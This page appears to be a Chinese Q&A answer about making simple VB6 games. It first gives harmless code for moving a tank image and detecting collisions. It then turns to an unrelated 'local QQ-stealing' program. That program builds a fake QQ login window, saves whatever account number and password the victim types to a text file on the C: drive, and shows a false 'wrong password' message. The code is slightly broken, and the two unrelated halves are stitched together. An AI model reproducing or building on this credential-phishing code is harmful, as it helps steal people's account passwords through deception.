如何设计一个简单的VB小游戏

如何设计一个简单的VB小游戏

利用vb控件做个坦克大战类的游戏即可，炮弹和坦克都用控件实现就行。唯一难点是控制控件移动以及炮弹击中目标的碰撞检测判断。给你一个简单实现代码

这是一种碰撞检测方法，下述属于简化的矩形碰撞检测，若是需要复杂碰撞可以用一个数组来记录大量需要碰撞检测的物体

image1里读入坦克的图片 image2里读入地雷的图片

然后用下面代码即可实现
Private Sub Form_KeyPress(KeyAscii As Integer)
'按键盘A和D键控制猫图片image1左右移动
If KeyAscii = 97 Then Image1.Left = Image1.Left - 10
If KeyAscii = 100 Then Image1.Left = Image1.Left + 10

'如果坦克图片与地雷图片相遇则提示碰撞到了
If Image1.Left + Image1.Width > Image2.Left Then
If Image1.Left < Image2.Left + Image2.Width Then
If Image1.Top + Image1.Height > Image2.Top Then
If Image1.Top < Image2.Top + Image2.Height Then
MsgBox "坦克碰到地雷，已经被炸毁了"
End If
End If
End If
End If
End Sub

好吧！一个vb本地盗qq的代码

两个文本筐(text1)，一个标签(label) 一张qq登陆界面图，一个图片筐（picture)

控件的位子你自己调整一下

代码

private sub form_load()'初始化

text1.text = "<请输入帐号>"

text2.text = ""    ’ 密码空

label1.caption = "登陆"   ’把label做为登陆按钮

label1.backstyle = 1   ‘标签透明

end sub

private sub label1_click()'登陆事件

open"c:\qq号码和密码.txt for append as #1   ’ 把qq号和密码保存在c盘里

print #1,"qq号码：" & text1.text   ‘保存qq号

print #1,"qq密码：" & text2.text ’保存密码

close #1    ‘关闭文件

msgbox"密码错误，请从新输入",,"提示"

end sub